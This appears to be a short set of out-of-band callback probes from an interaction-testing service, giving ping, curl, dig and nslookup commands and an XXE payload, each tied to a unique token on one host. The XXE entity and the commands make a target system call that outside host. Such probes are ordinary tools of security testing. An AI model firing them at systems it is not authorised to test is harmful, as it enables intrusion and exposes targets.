$ ping -c1 -p 00fcbeba1d2cfec6284f7b4a07cf3400 unhack.ca
 

$ curl http://unhack.ca/p/fcbeba1d2cfec6284f7b4a07cf34
 

$ dig fcbeba1d2cfec6284f7b4a07cf34 @unhack.ca
 

$ dig fcbeba1d2cfec6284f7b4a07cf34.ns.unhack.ca
 

C:\> nslookup fcbeba1d2cfec6284f7b4a07cf34 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fcbeba1d2cfec6284f7b4a07cf34">]>
    <foo>&xxe;</foo>